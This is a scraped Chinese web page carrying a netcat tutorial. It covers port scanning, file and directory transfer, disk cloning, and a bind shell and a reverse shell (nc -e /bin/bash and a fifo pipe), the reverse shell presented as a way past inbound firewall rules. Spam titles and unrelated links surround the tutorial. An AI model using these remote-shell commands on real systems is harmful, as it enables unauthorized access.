当前位置: 首页 > news >正文

濮阳佳杰网站建设巧用不对称网站建设找博网

濮阳佳杰网站建设巧用不对称,网站建设找博网,导航网站怎么做seo,唐山路南网站建设netcat是网络工具中的瑞士军刀#xff0c;它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向#xff0c;你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流#xff0c;在这之后… netcat是网络工具中的瑞士军刀它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流在这之后所能做的事就看你的想像力了。你能建立一个服务器传输文件与朋友聊天传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)]   Linux netcat 命令实例 1端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式默认是TCP-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接 不进行数据交换(谢谢jxing 指点) v 参数指使用冗余选项译者注即详细输出 n 参数告诉netcat 不要使用DNS反向查询IP地址的域名 这个命令会打印21到25 所有开放的端口。Banner是一个文本Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候Banner信息是非常有用的。但是并不是所有的服务都会发送banner。 一旦你发现开放的端口你可以容易的使用netcat 连接服务抓取他们的banner。 $ nc -v 172.31.100.7 21 netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。   Chat Server 假如你想和你的朋友聊聊有很多的软件和信息服务可以供你使用。但是如果你没有这么奢侈的配置比如你在计算机实验室所有的对外的连接都是被限制的你怎样和整天坐在隔壁房间的朋友沟通那不要郁闷了netcat提供了这样一种方法你只需要创建一个Chat服务器一个预先确定好的端口这样子他就可以联系到你了。 Server $nc -l 1567 netcat 命令在1567端口启动了一个tcp 服务器所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。 Client $nc 172.31.100.7 1567 不管你在机器B上键入什么都会出现在机器A上。   3文件传输 大部分时间中我们都在试图通过网络或者其他工具传输文件。有很多种方法比如FTP,SCP,SMB等等但是当你只是需要临时或者一次传输文件真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端以下让A作为服务器B为客户端。 Server $nc -l 1567 file.txt Client $nc -n 172.31.100.7 1567 file.txt 这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt那么当任何成功连接到该端口netcat会发送file的文件内容。 在客户端我们重定向输出到file.txt当B连接到AA发送文件内容B保存文件内容到file.txt. 没有必要创建文件源作为Server我们也可以相反的方法使用。像下面的我们发送文件从B到A但是服务器创建在A上这次我们仅需要重定向netcat的输出并且重定向B的输入文件。 B作为Server Server $nc -l 1567 file.txt Client nc 172.31.100.23 1567 file.txt   4目录传输 发送一个文件很简单但是如果我们想要发送多个文件或者整个目录一样很简单只需要使用压缩工具tar压缩后发送压缩包。 如果你想要通过网络传输一个目录从A到B。 Server $tar -cvf – dir_name | nc -l 1567 Client $nc -n 172.31.100.7 1567 | tar -xvf - 这里在A服务器上我们创建一个tar归档包并且通过-在控制台重定向它然后使用管道重定向给netcatnetcat可以通过网络发送它。 在客户端我们下载该压缩包通过netcat 管道然后打开文件。 如果想要节省带宽传输压缩包我们可以使用bzip2或者其他工具压缩。 Server $tar -cvf – dir_name| bzip2 -z | nc -l 1567 通过bzip2压缩 Client $nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf - 使用bzip2解压   5. 加密你通过网络发送的数据 如果你担心你在网络上发送数据的安全你可以在发送你的数据之前用如mcrypt的工具加密。 服务端 $nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb file.txt 使用mcrypt工具加密数据。 客户端 $mcrypt –flush –bare -F -q -m ecb file.txt | nc -l 1567 使用mcrypt工具解密数据。 以上两个命令会提示需要密码确保两端使用相同的密码。 这里我们是使用mcrypt用来加密使用其它任意加密工具都可以。   6. 流视频 虽然不是生成流视频的最好方法但如果服务器上没有特定的工具使用netcat我们仍然有希望做成这件事。 服务端 $cat video.avi | nc -l 1567 这里我们只是从一个视频文件中读入并重定向输出到netcat客户端 $nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 - 这里我们从socket中读入数据并重定向到mplayer。 7克隆一个设备 如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器而你不想在重复配置一遍。不在需要重复配置安装的过程只启动另一台机器的一些引导可以随身碟和克隆你的机器。 克隆Linux PC很简单假如你的系统在磁盘/dev/sda上 Server $dd if/dev/sda | nc -l 1567 Client $nc -n 172.31.100.7 1567 | dd of/dev/sda dd是一个从磁盘读取原始数据的工具我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区我们可以根据我们系统root分区的位置更改sda 为sda1sda2.等等。 8打开一个shell 我们已经用过远程shell-使用telnet和ssh但是如果这两个命令没有安装并且我们没有权限安装他们我们也可以使用netcat创建远程shell。 假设你的netcat支持 -c -e 参数(默认 netcat) Server $nc -l 1567 -e /bin/bash -i Client $nc 172.31.100.7 1567 这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash 假如netcat 不支持-c 或者 -e 参数openbsd netcat,我们仍然能够创建远程shell Server $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 21 | nc -l 1567 /tmp/tmp_fifo 这里我们创建了一个fifo文件然后使用管道命令把这个fifo文件内容定向到shell 21中。是用来重定向标准错误输出和标准输出然后管道到netcat 运行的端口1567上。至此我们已经把netcat的输出重定向到fifo文件中。 说明 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行fifo文件用来替代正常文件因为fifo使读取等待而如果是一个普通文件cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器 Client $nc -n 172.31.100.7 1567 你会得到一个shell提示符在客户端     反向shell 反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置这里服务器使用的是由客户提供的服务。 服务端 $nc -l 1567 在客户端简单地告诉netcat在连接完成后执行shell。 客户端 $nc 172.31.100.7 1567 -e /bin/bash 现在什么是反向shell的特别之处呢  反向shell经常被用来绕过防火墙的限制如阻止入站连接。例如我有一个专用IP地址为172.31.100.7我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell那么我会用反向外壳用于这一目的。  10. 指定源端口 假设你的防火墙过滤除25端口外其它所有端口你需要使用-p选项指定源端口。 服务器端 $nc -l 1567 客户端 $nc 172.31.100.7 1567 -p 25 使用1024以内的端口需要root权限。 该命令将在客户端开启25端口用于通讯否则将使用随机端口。 11. 指定源地址 假设你的机器有多个地址希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。 服务器端 $nc -u -l 1567 file.txt 客户端 $nc -u 172.31.100.7 1567 -s 172.31.100.5 file.txt 该命令将绑定地址172.31.100.5。 这仅仅是使用netcat的一些示例。 其它用途有     使用-t选项模拟Telnet客户端    HTTP客户端用于下载文件    连接到邮件服务器使用SMTP协议检查邮件    使用ffmpeg截取屏幕并通过流式传输分享等等。其它更多用途。 简单来说只要你了解协议就可以使用netcat作为网络通讯媒介实现各种客户端。 参考文档 Netcat手册
http://www.zqtcl.cn/news/451475/

相关文章:

  • 海口个人建站模板精品课程云网站建设
  • 阿里网站空间莱芜新闻视频回放
  • 高清网站建设的好处wordpress 房产模板
  • 在建工程查询网站怎么自己开发网站
  • 旧电脑怎么做网站如何自己弄个免费网站
  • 聊城网站营销WordPress工作发布
  • 建造网站需要什么汽车网站建设
  • 网站建设app郑州发布评论
  • 福州网站制作建设网页设计图片是怎么显示的
  • 天津通用网站建设收费网站建设怎么在png上写文字
  • 浏阳做网站报价高校网站站群建设公司
  • 海口网站提升排名网站建设与管理考试题
  • 做网站的算什么行业ui视觉设计常用软件是什么
  • 成都网站建设公司哪家好西安搬家公司哪家便宜
  • 程序员自己做网站怎么能来钱上海猎头公司哪家好
  • 无忧网站建设哪家好手机网站php开发
  • 如何仿制一个网站wordpress+主题课堂
  • 公明做网站渭南网站开发
  • 网站优化排名多少钱查备案网站备案
  • 北京网站建设市场培训机构参与课后服务
  • wordpress如何添加网站地图上海网站开发设计公司
  • 网站设置反爬虫的主要原因深圳外贸公司上班工资高吗
  • 济南建站价格同仁网站建设公司
  • 石家庄建站软件中国纪检监察报怎么订阅
  • 国内建网站费用厦门房地产网站建设
  • 宝山网站制作网站优化待遇
  • 网站建设项目竞争性招标文件界面设计的重要性
  • 网站建设合同机械设备网络推广方案
  • 阿里巴巴做网站的绿色的医疗资讯手机网站wap模板html源码下载
  • 怎么样自己做企业网站dz采集wordpress